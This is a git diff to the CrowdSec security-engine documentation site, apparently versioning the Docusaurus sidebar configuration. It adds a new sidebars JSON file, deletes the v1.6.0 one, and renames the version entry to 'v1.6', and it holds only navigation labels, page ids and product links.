+ "href": "https://crowdsecurity.github.io/api_doc/lapi/"
+ }
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Central API",
+ "link": {
+ "type": "doc",
+ "id": "central_api/intro"
+ },
+ "items": [
+ "central_api/community_blocklist",
+ {
+ "type": "link",
+ "label": "Swagger",
+ "href": "https://crowdsecurity.github.io/api_doc/capi/"
+ }
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Configuration",
+ "link": {
+ "type": "doc",
+ "id": "configuration/crowdsec_configuration"
+ },
+ "items": [
+ "configuration/feature_flags",
+ "configuration/network_management"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Observability",
+ "link": {
+ "type": "doc",
+ "id": "observability/intro"
+ },
+ "items": [
+ "observability/cscli",
+ "observability/prometheus",
+ "observability/usage_metrics",
+ "observability/dashboard",
+ "observability/pprof"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Expr",
+ "link": {
+ "type": "doc",
+ "id": "expr/intro"
+ },
+ "items": [
+ "expr/strings_helpers",
+ "expr/file_helpers",
+ "expr/ip_helpers",
+ "expr/json_helpers",
+ "expr/cti_helpers",
+ "expr/libinjection_helpers",
+ "expr/other_helpers",
+ "expr/alert",
+ "expr/decision",
+ "expr/event"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Contributing",
+ "link": {
+ "type": "doc",
+ "id": "contributing/getting_started"
+ },
+ "items": [
+ "contributing/contributing_doc",
+ "contributing/contributing_hub",
+ {
+ "type": "category",
+ "label": "Remediation Components",
+ "link": {
+ "type": "doc",
+ "id": "contributing/contributing_bouncers"
+ },
+ "items": [
+ {
+ "type": "doc",
+ "id": "contributing/specs/bouncer_appsec_specs",
+ "label": "Bouncer&AppSec"
+ },
+ {
+ "type": "doc",
+ "id": "contributing/specs/bouncer_metrics_specs",
+ "label": "Metrics"
+ }
+ ]
+ },
+ "contributing/contributing_test_env",
+ "contributing/contributing_crowdsec"
+ ]
+ },
+ {
+ "type": "doc",
+ "label": "Contact the team",
+ "id": "contact_team"
+ }
+ ],
+ "cscliSidebar": [
+ {
+ "type": "doc",
+ "label": "cscli",
+ "id": "cscli/cscli"
+ },
+ {
+ "type": "category",
+ "label": "cscli alerts",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_alerts"
+ },
+ "items": [
+ "cscli/cscli_alerts_delete",
+ "cscli/cscli_alerts_flush",
+ "cscli/cscli_alerts_inspect",
+ "cscli/cscli_alerts_list"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli allowlists",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_allowlists"
+ },
+ "items": [
+ "cscli/cscli_allowlists_add",
+ "cscli/cscli_allowlists_create",
+ "cscli/cscli_allowlists_delete",
+ "cscli/cscli_allowlists_check",
+ "cscli/cscli_allowlists_inspect",
+ "cscli/cscli_allowlists_list",
+ "cscli/cscli_allowlists_remove"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli appsec-configs",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_appsec-configs"
+ },
+ "items": [
+ "cscli/cscli_appsec-configs_inspect",
+ "cscli/cscli_appsec-configs_install",
+ "cscli/cscli_appsec-configs_list",
+ "cscli/cscli_appsec-configs_remove",
+ "cscli/cscli_appsec-configs_upgrade"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli appsec-rules",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_appsec-rules"
+ },
+ "items": [
+ "cscli/cscli_appsec-rules_inspect",
+ "cscli/cscli_appsec-rules_install",
+ "cscli/cscli_appsec-rules_list",
+ "cscli/cscli_appsec-rules_remove",
+ "cscli/cscli_appsec-rules_upgrade"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli bouncers",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_bouncers"
+ },
+ "items": [
+ "cscli/cscli_bouncers_add",
+ "cscli/cscli_bouncers_delete",
+ "cscli/cscli_bouncers_inspect",
+ "cscli/cscli_bouncers_list",
+ "cscli/cscli_bouncers_prune"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli capi",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_capi"
+ },
+ "items": [
+ "cscli/cscli_capi_register",
+ "cscli/cscli_capi_status"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli collections",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_collections"
+ },
+ "items": [
+ "cscli/cscli_collections_inspect",
+ "cscli/cscli_collections_install",
+ "cscli/cscli_collections_list",
+ "cscli/cscli_collections_remove",
+ "cscli/cscli_collections_upgrade"
+ ]
+ },
+ {
+ "type": "doc",
+ "label": "cscli completion",
+ "id": "cscli/cscli_completion"
+ },
+ {
+ "type": "category",
+ "label": "cscli config",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_config"
+ },
+ "items": [
+ "cscli/cscli_config_feature-flags",
+ "cscli/cscli_config_show"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli console",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_console"
+ },
+ "items": [
+ "cscli/cscli_console_disable",
+ "cscli/cscli_console_enable",
+ "cscli/cscli_console_enroll",
+ "cscli/cscli_console_status"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli contexts",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_contexts"
+ },
+ "items": [
+ "cscli/cscli_contexts_install",
+ "cscli/cscli_contexts_remove",
+ "cscli/cscli_contexts_upgrade",
+ "cscli/cscli_contexts_list",
+ "cscli/cscli_contexts_inspect"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli dashboard",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_dashboard"
+ },
+ "items": [
+ "cscli/cscli_dashboard_remove",
+ "cscli/cscli_dashboard_setup",
+ "cscli/cscli_dashboard_start",
+ "cscli/cscli_dashboard_stop",
+ "cscli/cscli_dashboard_show-password"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli decisions",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_decisions"
+ },
+ "items": [
+ "cscli/cscli_decisions_add",
+ "cscli/cscli_decisions_delete",
+ "cscli/cscli_decisions_list",
+ "cscli/cscli_decisions_import"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli hub",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_hub"
+ },
+ "items": [
+ "cscli/cscli_hub_list",
+ "cscli/cscli_hub_update",
+ "cscli/cscli_hub_upgrade",
+ "cscli/cscli_hub_types",
+ "cscli/cscli_hub_branch"
+ ]
+ },
+ {
+ "type": "doc",
+ "label": "cscli explain",
+ "id": "cscli/cscli_explain"
+ },
+ {
+ "type": "category",
+ "label": "cscli lapi",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_lapi"
+ },
+ "items": [
+ "cscli/cscli_lapi_context",
+ "cscli/cscli_lapi_context_add",
+ "cscli/cscli_lapi_context_delete",
+ "cscli/cscli_lapi_context_detect",
+ "cscli/cscli_lapi_context_status",
+ "cscli/cscli_lapi_register",
+ "cscli/cscli_lapi_status"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli machines",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_machines"
+ },
+ "items": [
+ "cscli/cscli_machines_add",
+ "cscli/cscli_machines_delete",
+ "cscli/cscli_machines_inspect",
+ "cscli/cscli_machines_list",
+ "cscli/cscli_machines_prune",
+ "cscli/cscli_machines_validate"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli metrics",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_metrics"
+ },
+ "items": [
+ "cscli/cscli_metrics_list",
+ "cscli/cscli_metrics_show"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli notifications",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_notifications"
+ },
+ "items": [
+ "cscli/cscli_notifications_inspect",
+ "cscli/cscli_notifications_list",
+ "cscli/cscli_notifications_reinject",
+ "cscli/cscli_notifications_test"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli papi",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_papi"
+ },
+ "items": [
+ "cscli/cscli_papi_status",
+ "cscli/cscli_papi_sync"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli parsers",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_parsers"
+ },
+ "items": [
+ "cscli/cscli_parsers_inspect",
+ "cscli/cscli_parsers_install",
+ "cscli/cscli_parsers_list",
+ "cscli/cscli_parsers_remove",
+ "cscli/cscli_parsers_upgrade"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli postoverflows",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_postoverflows"
+ },
+ "items": [
+ "cscli/cscli_postoverflows_inspect",
+ "cscli/cscli_postoverflows_install",
+ "cscli/cscli_postoverflows_list",
+ "cscli/cscli_postoverflows_remove",
+ "cscli/cscli_postoverflows_upgrade"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli scenarios",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_scenarios"
+ },
+ "items": [
+ "cscli/cscli_scenarios_inspect",
+ "cscli/cscli_scenarios_install",
+ "cscli/cscli_scenarios_list",
+ "cscli/cscli_scenarios_remove",
+ "cscli/cscli_scenarios_upgrade"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli support",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_support"
+ },
+ "items": [
+ "cscli/cscli_support_dump"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli hubtest",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_hubtest"
+ },
+ "items": [
+ "cscli/cscli_hubtest_create",
+ "cscli/cscli_hubtest_run",
+ "cscli/cscli_hubtest_eval",
+ "cscli/cscli_hubtest_explain",
+ "cscli/cscli_hubtest_coverage",
+ "cscli/cscli_hubtest_info",
+ "cscli/cscli_hubtest_list",
+ "cscli/cscli_hubtest_clean"
+ ]
+ },
+ {
+ "type": "category",
+ "label": "cscli simulation",
+ "link": {
+ "type": "doc",
+ "id": "cscli/cscli_simulation"
+ },
+ "items": [
+ "cscli/cscli_simulation_disable",
+ "cscli/cscli_simulation_enable",
+ "cscli/cscli_simulation_status"
+ ]
+ },
+ {
+ "type": "doc",
+ "label": "cscli version",
+ "id": "cscli/cscli_version"
+ }
+ ],
+ "betaSidebar": [
+ {
+ "type": "category",
+ "label": "Preview Programs",
+ "collapsed": true,
+ "items": [
+ {
+ "type": "category",
+ "label": "Crowdsec v1.5",
+ "link": {
+ "type": "doc",
+ "id": "preview/1-5/intro"
+ },
+ "items": [
+ "preview/1-5/crowdsec_preview_setup"
+ ]
+ }
+ ]
+ },
+ {
+ "type": "doc",
+ "label": "Backup Guide",
+ "id": "preview/backup_guide"
+ },
+ {
+ "type": "category",
+ "label": "Security Engine (Preview)",
+ "collapsed": true,
+ "items": [
+ "preview/crowdsec_linux",
+ "preview/crowdsec_windows",
+ {
+ "type": "link",
+ "label": "Helm/K8s",
+ "href": "https://artifacthub.io/packages/helm/crowdsec/crowdsec"
+ },
+ {
+ "type": "link",
+ "label": "Docker/Podman",
+ "href": "https://hub.docker.com/r/crowdsecurity/crowdsec"
+ }
+ ]
+ },
+ {
+ "type": "doc",
+ "label": "Rollback to previous version",
+ "id": "preview/rollback"
+ }
+ ],
+ "appSecSideBar": [
+ {
+ "type": "doc",
+ "id": "appsec/intro",
+ "label": "CrowdSec WAF - Introduction"
+ },
+ {
+ "type": "category",
+ "label": "Installation",
+ "items": [
+ {
+ "type": "doc",
+ "id": "appsec/quickstart/general_setup"
+ },
+ {
+ "type": "doc",
+ "id": "appsec/quickstart/nginxopenresty"
+ },
+ {
+ "type": "doc",
+ "id": "appsec/quickstart/traefik"
+ },
+ {
+ "type": "doc",
+ "id": "appsec/quickstart/wordpress"
+ }
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Configuration",
+ "items": [
+ {
+ "type": "doc",
+ "id": "appsec/configuration"
+ },
+ {
+ "type": "doc",
+ "id": "appsec/vpatch_and_crs"
+ },
+ {
+ "type": "doc",
+ "id": "appsec/alerts_and_scenarios"
+ }
+ ]
+ },
+ {
+ "type": "category",
+ "label": "Rules",
+ "items": [
+ {
+ "type": "doc",
+ "id": "appsec/rules_syntax"
+ },
+ {
+ "type": "doc",
+ "id": "appsec/hooks"
+ },
+ {
+ "type": "doc",
+ "id": "appsec/create_rules"
+ }
+ ]
+ },
+ {
+ "type": "category",
+ "label": "References",
+ "items": [
+ {
+ "type": "doc",
+ "id": "appsec/protocol"
+ },
+ {
+ "type": "doc",
+ "id": "appsec/benchmark"
+ }
+ ]
+ },
+ {
+ "type": "doc",
+ "id": "appsec/troubleshooting"
+ }
+ ]
+}
diff --git a/crowdsec-docs/versioned_sidebars/version-v1.6.0-sidebars.json b/crowdsec-docs/versioned_sidebars/version-v1.6.0-sidebars.json
deleted file mode 100644
index b94f99959..000000000
--- a/crowdsec-docs/versioned_sidebars/version-v1.6.0-sidebars.json
+++ /dev/null
@@ -1,757 +0,0 @@
-{
- "tutorialSidebar": [
- {
- "type": "doc",
- "id": "intro"
- },
- {
- "type": "category",
- "label": "Getting Started",
- "collapsed": false,
- "link": {
- "type": "doc",
- "id": "getting_started/getting_started"
- },
- "items": [
- {
- "type": "category",
- "label": "Security Engine",
- "collapsed": true,
- "link": {
- "type": "doc",
- "id": "getting_started/security_engine_intro"
- },
- "items": [
- "getting_started/install_crowdsec",
- "getting_started/install_crowdsec_freebsd",
- "getting_started/install_crowdsec_opnsense",
- "getting_started/install_crowdsec_pfsense",
- "getting_started/install_windows",
- {
- "type": "link",
- "label": "Helm/K8s",
- "href": "https://artifacthub.io/packages/helm/crowdsec/crowdsec"
- },
- {
- "type": "category",
- "label": "Container",
- "items": [
- {
- "type": "link",
- "href": "https://hub.docker.com/r/crowdsecurity/crowdsec",
- "label": "Docker Hub"
- },
- {
- "type": "link",
- "href": "https://github.com/crowdsecurity/crowdsec/pkgs/container/crowdsec",
- "label": "GHCR"
- },
- {
- "type": "link",
- "href": "https://github.com/crowdsecurity/example-docker-compose",
- "label": "Examples"
- }
- ]
- },
- "getting_started/install_source"
- ]
- },
- {
- "type": "link",
- "label": "Remediation",
- "href": "/u/bouncers/intro"
- },
- {
- "type": "ref",
- "id": "appsec/intro",
- "label": "AppSec"
- },
- {
- "type": "category",
- "label": "SDK",
- "items": [
- {
- "type": "doc",
- "label": "Python",
- "id": "getting_started/install_pyagent"
- },
- {
- "type": "doc",
- "label": "PHP",
- "id": "getting_started/install_softagent"
- }
- ]
- },
- "getting_started/crowdsec_tour",
- "getting_started/versions_matrix"
- ]
- },
- {
- "type": "doc",
- "label": "Concepts",
- "id": "concepts"
- },
- {
- "type": "category",
- "label": "Data Sources",
- "link": {
- "type": "doc",
- "id": "data_sources/intro"
- },
- "items": [
- "data_sources/appsec",
- "data_sources/cloudwatch",
- "data_sources/kinesis",
- "data_sources/s3",
- "data_sources/docker",
- "data_sources/file",
- "data_sources/journald",
- "data_sources/kafka",
- "data_sources/kubernetes_audit",
- "data_sources/loki",
- "data_sources/syslog",
- "data_sources/windows_evt_log",
- "data_sources/troubleshoot"
- ]
- },
- {
- "type": "category",
- "label": "Parsers",
- "link": {
- "type": "doc",
- "id": "parsers/intro"
- },
- "items": [
- "parsers/format",
- "parsers/create",
- "parsers/enricher",
- "parsers/patterns"
- ]
- },
- {
- "type": "category",
- "label": "Scenarios",
- "link": {
- "type": "doc",
- "id": "scenarios/intro"
- },
- "items": [
- "scenarios/format",
- "scenarios/simulation",
- "scenarios/create"
- ]
- },
- {
- "type": "category",
- "label": "Collections",
- "link": {
- "type": "doc",
- "id": "collections/intro"
- },
- "items": ["collections/format"]
- },
- {
- "type": "category",
- "label": "Whitelists",
- "link": {
- "type": "doc",
- "id": "whitelist/intro"
- },
- "items": [
- "whitelist/format",
- {
- "type": "category",
- "label": "Examples",
- "items": [
- "whitelist/create_ip",
- "whitelist/create_expr",
- "whitelist/create_postoverflow",
- "whitelist/create_fqdn",
- "whitelist/create_capi",
- "whitelist/create_lapi"
- ]
- }
- ]
- },
- {
- "type": "category",
- "label": "Profiles",
- "link": {
- "type": "doc",
- "id": "profiles/intro"
- },
- "items": [
- "profiles/format",
- {
- "type": "category",
- "label": "Examples",
- "items": [
- "profiles/cti_profile",
- "profiles/captcha_profile",
- "profiles/pid_profile"
- ]
- }
- ]
- },
- {
- "type": "category",
- "label": "Notification plugins",
- "link": {
- "type": "doc",
- "id": "notification_plugins/intro"
- },
- "items": [
- {
- "type": "category",
- "label": "HTTP Plugin",
- "collapsed": true,
- "link": {
- "type": "doc",
- "id": "notification_plugins/http"
- },
- "items": [
- "notification_plugins/teams",
- "notification_plugins/elastic",
- "notification_plugins/telegram",
- "notification_plugins/gotify"
- ]
- },
- "notification_plugins/email",
- "notification_plugins/sentinel",
- "notification_plugins/slack",
- "notification_plugins/splunk",
- "notification_plugins/template_helpers",
- "notification_plugins/writing_your_own_plugin"
- ]
- },
- {
- "type": "category",
- "label": "Configuration",
- "link": {
- "type": "doc",
- "id": "configuration/crowdsec_configuration"
- },
- "items": [
- "configuration/feature_flags",
- "configuration/network_management"
- ]
- },
- {
- "type": "category",
- "label": "Observability",
- "link": {
- "type": "doc",
- "id": "observability/intro"
- },
- "items": [
- "observability/cscli",
- "observability/prometheus",
- "observability/dashboard",
- "observability/pprof"
- ]
- },
- {
- "type": "category",
- "label": "Local API",
- "link": {
- "type": "doc",
- "id": "local_api/intro"
- },
- "items": [
- "local_api/database",
- "local_api/bouncers",
- "local_api/tls_auth",
- {
- "type": "link",
- "label": "Swagger",
- "href": "https://crowdsecurity.github.io/api_doc/lapi/"
- }
- ]
- },
- {
- "type": "category",
- "label": "Central API",
- "link": {
- "type": "doc",
- "id": "central_api/intro"
- },
- "items": [
- {
- "type": "link",
- "label": "Swagger",
- "href": "https://crowdsecurity.github.io/api_doc/capi/"
- }
- ]
- },
- {
- "type": "category",
- "label": "Expr",
- "link": {
- "type": "doc",
- "id": "expr/intro"
- },
- "items": [
- "expr/strings_helpers",
- "expr/file_helpers",
- "expr/ip_helpers",
- "expr/json_helpers",
- "expr/cti_helpers",
- "expr/other_helpers",
- "expr/alert",
- "expr/decision",
- "expr/event"
- ]
- },
- {
- "type": "category",
- "label": "Contributing",
- "link": {
- "type": "doc",
- "id": "contributing/getting_started"
- },
- "items": [
- "contributing/contributing_doc",
- "contributing/contributing_hub",
- "contributing/contributing_bouncers",
- "contributing/contributing_test_env",
- "contributing/contributing_crowdsec"
- ]
- },
- {
- "type": "doc",
- "label": "Contact the team",
- "id": "contact_team"
- }
- ],
- "cscliSidebar": [
- {
- "type": "doc",
- "label": "cscli",
- "id": "cscli/cscli"
- },
- {
- "type": "category",
- "label": "cscli alerts",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_alerts"
- },
- "items": [
- "cscli/cscli_alerts_delete",
- "cscli/cscli_alerts_flush",
- "cscli/cscli_alerts_inspect",
- "cscli/cscli_alerts_list"
- ]
- },
- {
- "type": "category",
- "label": "cscli appsec-configs",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_appsec-configs"
- },
- "items": [
- "cscli/cscli_appsec-configs_inspect",
- "cscli/cscli_appsec-configs_install",
- "cscli/cscli_appsec-configs_list",
- "cscli/cscli_appsec-configs_remove",
- "cscli/cscli_appsec-configs_upgrade"
- ]
- },
- {
- "type": "category",
- "label": "cscli appsec-rules",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_appsec-rules"
- },
- "items": [
- "cscli/cscli_appsec-rules_inspect",
- "cscli/cscli_appsec-rules_install",
- "cscli/cscli_appsec-rules_list",
- "cscli/cscli_appsec-rules_remove",
- "cscli/cscli_appsec-rules_upgrade"
- ]
- },
- {
- "type": "category",
- "label": "cscli bouncers",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_bouncers"
- },
- "items": [
- "cscli/cscli_bouncers_add",
- "cscli/cscli_bouncers_delete",
- "cscli/cscli_bouncers_list",
- "cscli/cscli_bouncers_prune"
- ]
- },
- {
- "type": "category",
- "label": "cscli capi",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_capi"
- },
- "items": ["cscli/cscli_capi_register", "cscli/cscli_capi_status"]
- },
- {
- "type": "category",
- "label": "cscli collections",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_collections"
- },
- "items": [
- "cscli/cscli_collections_inspect",
- "cscli/cscli_collections_install",
- "cscli/cscli_collections_list",
- "cscli/cscli_collections_remove",
- "cscli/cscli_collections_upgrade"
- ]
- },
- {
- "type": "doc",
- "label": "cscli completion",
- "id": "cscli/cscli_completion"
- },
- {
- "type": "category",
- "label": "cscli config",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_config"
- },
- "items": [
- "cscli/cscli_config_backup",
- "cscli/cscli_config_feature-flags",
- "cscli/cscli_config_restore",
- "cscli/cscli_config_show"
- ]
- },
- {
- "type": "category",
- "label": "cscli console",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_console"
- },
- "items": [
- "cscli/cscli_console_disable",
- "cscli/cscli_console_enable",
- "cscli/cscli_console_enroll",
- "cscli/cscli_console_status"
- ]
- },
- {
- "type": "category",
- "label": "cscli contexts",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_contexts"
- },
- "items": [
- "cscli/cscli_contexts_install",
- "cscli/cscli_contexts_remove",
- "cscli/cscli_contexts_upgrade",
- "cscli/cscli_contexts_list",
- "cscli/cscli_contexts_inspect"
- ]
- },
- {
- "type": "category",
- "label": "cscli dashboard",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_dashboard"
- },
- "items": [
- "cscli/cscli_dashboard_remove",
- "cscli/cscli_dashboard_setup",
- "cscli/cscli_dashboard_start",
- "cscli/cscli_dashboard_stop",
- "cscli/cscli_dashboard_show-password"
- ]
- },
- {
- "type": "category",
- "label": "cscli decisions",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_decisions"
- },
- "items": [
- "cscli/cscli_decisions_add",
- "cscli/cscli_decisions_delete",
- "cscli/cscli_decisions_list",
- "cscli/cscli_decisions_import"
- ]
- },
- {
- "type": "category",
- "label": "cscli hub",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_hub"
- },
- "items": [
- "cscli/cscli_hub_list",
- "cscli/cscli_hub_update",
- "cscli/cscli_hub_upgrade",
- "cscli/cscli_hub_types"
- ]
- },
- {
- "type": "doc",
- "label": "cscli explain",
- "id": "cscli/cscli_explain"
- },
- {
- "type": "category",
- "label": "cscli lapi",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_lapi"
- },
- "items": [
- "cscli/cscli_lapi_context",
- "cscli/cscli_lapi_context_add",
- "cscli/cscli_lapi_context_delete",
- "cscli/cscli_lapi_context_detect",
- "cscli/cscli_lapi_context_status",
- "cscli/cscli_lapi_register",
- "cscli/cscli_lapi_status"
- ]
- },
- {
- "type": "category",
- "label": "cscli machines",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_machines"
- },
- "items": [
- "cscli/cscli_machines_add",
- "cscli/cscli_machines_delete",
- "cscli/cscli_machines_list",
- "cscli/cscli_machines_prune",
- "cscli/cscli_machines_validate"
- ]
- },
- {
- "type": "doc",
- "label": "cscli metrics",
- "id": "cscli/cscli_metrics"
- },
- {
- "type": "category",
- "label": "cscli notifications",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_notifications"
- },
- "items": [
- "cscli/cscli_notifications_inspect",
- "cscli/cscli_notifications_list",
- "cscli/cscli_notifications_reinject",
- "cscli/cscli_notifications_test"
- ]
- },
- {
- "type": "category",
- "label": "cscli papi",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_papi"
- },
- "items": ["cscli/cscli_papi_status", "cscli/cscli_papi_sync"]
- },
- {
- "type": "category",
- "label": "cscli parsers",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_parsers"
- },
- "items": [
- "cscli/cscli_parsers_inspect",
- "cscli/cscli_parsers_install",
- "cscli/cscli_parsers_list",
- "cscli/cscli_parsers_remove",
- "cscli/cscli_parsers_upgrade"
- ]
- },
- {
- "type": "category",
- "label": "cscli postoverflows",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_postoverflows"
- },
- "items": [
- "cscli/cscli_postoverflows_inspect",
- "cscli/cscli_postoverflows_install",
- "cscli/cscli_postoverflows_list",
- "cscli/cscli_postoverflows_remove",
- "cscli/cscli_postoverflows_upgrade"
- ]
- },
- {
- "type": "category",
- "label": "cscli scenarios",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_scenarios"
- },
- "items": [
- "cscli/cscli_scenarios_inspect",
- "cscli/cscli_scenarios_install",
- "cscli/cscli_scenarios_list",
- "cscli/cscli_scenarios_remove",
- "cscli/cscli_scenarios_upgrade"
- ]
- },
- {
- "type": "category",
- "label": "cscli support",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_support"
- },
- "items": ["cscli/cscli_support_dump"]
- },
- {
- "type": "category",
- "label": "cscli hubtest",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_hubtest"
- },
- "items": [
- "cscli/cscli_hubtest_create",
- "cscli/cscli_hubtest_run",
- "cscli/cscli_hubtest_eval",
- "cscli/cscli_hubtest_explain",
- "cscli/cscli_hubtest_coverage",
- "cscli/cscli_hubtest_info",
- "cscli/cscli_hubtest_list",
- "cscli/cscli_hubtest_clean"
- ]
- },
- {
- "type": "category",
- "label": "cscli simulation",
- "link": {
- "type": "doc",
- "id": "cscli/cscli_simulation"
- },
- "items": [
- "cscli/cscli_simulation_disable",
- "cscli/cscli_simulation_enable",
- "cscli/cscli_simulation_status"
- ]
- },
- {
- "type": "doc",
- "label": "cscli version",
- "id": "cscli/cscli_version"
- }
- ],
- "betaSidebar": [
- {
- "type": "category",
- "label": "Preview Programs",
- "collapsed": true,
- "items": [
- {
- "type": "category",
- "label": "Crowdsec v1.5",
- "link": {
- "type": "doc",
- "id": "preview/1-5/intro"
- },
- "items": ["preview/1-5/crowdsec_preview_setup"]
- }
- ]
- },
- {
- "type": "doc",
- "label": "Backup Guide",
- "id": "preview/backup_guide"
- },
- {
- "type": "category",
- "label": "Security Engine (Preview)",
- "collapsed": true,
- "items": [
- "preview/crowdsec_linux",
- "preview/crowdsec_windows",
- {
- "type": "link",
- "label": "Helm/K8s",
- "href": "https://artifacthub.io/packages/helm/crowdsec/crowdsec"
- },
- {
- "type": "link",
- "label": "Docker/Podman",
- "href": "https://hub.docker.com/r/crowdsecurity/crowdsec"
- }
- ]
- },
- {
- "type": "doc",
- "label": "Rollback to previous version",
- "id": "preview/rollback"
- }
- ],
- "appSecSideBar": [
- {
- "type": "doc",
- "id": "appsec/intro",
- "label": "CrowdSec WAF"
- },
- {
- "type": "doc",
- "id": "appsec/quickstart"
- },
- {
- "type": "doc",
- "id": "appsec/configuration"
- },
- {
- "type": "category",
- "label": "Rules & Scenarios",
- "items": [
- {
- "type": "doc",
- "id": "appsec/rules_syntax"
- },
- {
- "type": "doc",
- "id": "appsec/hooks"
- },
- {
- "type": "doc",
- "id": "appsec/create_rules"
- }
- ]
- },
- {
- "type": "doc",
- "id": "appsec/installation"
- },
- {
- "type": "doc",
- "id": "appsec/protocol"
- },
- {
- "type": "doc",
- "id": "appsec/benchmark"
- },
- {
- "type": "doc",
- "id": "appsec/troubleshooting"
- }
- ]
-}
diff --git a/crowdsec-docs/versions.json b/crowdsec-docs/versions.json
index 49e9b330a..c54d140d4 100644
--- a/crowdsec-docs/versions.json
+++ b/crowdsec-docs/versions.json
@@ -1,5 +1,5 @@
[
- "v1.6.0",
+ "v1.6",
"v1.5.0",
"v1.4.0",
"v1.3.4"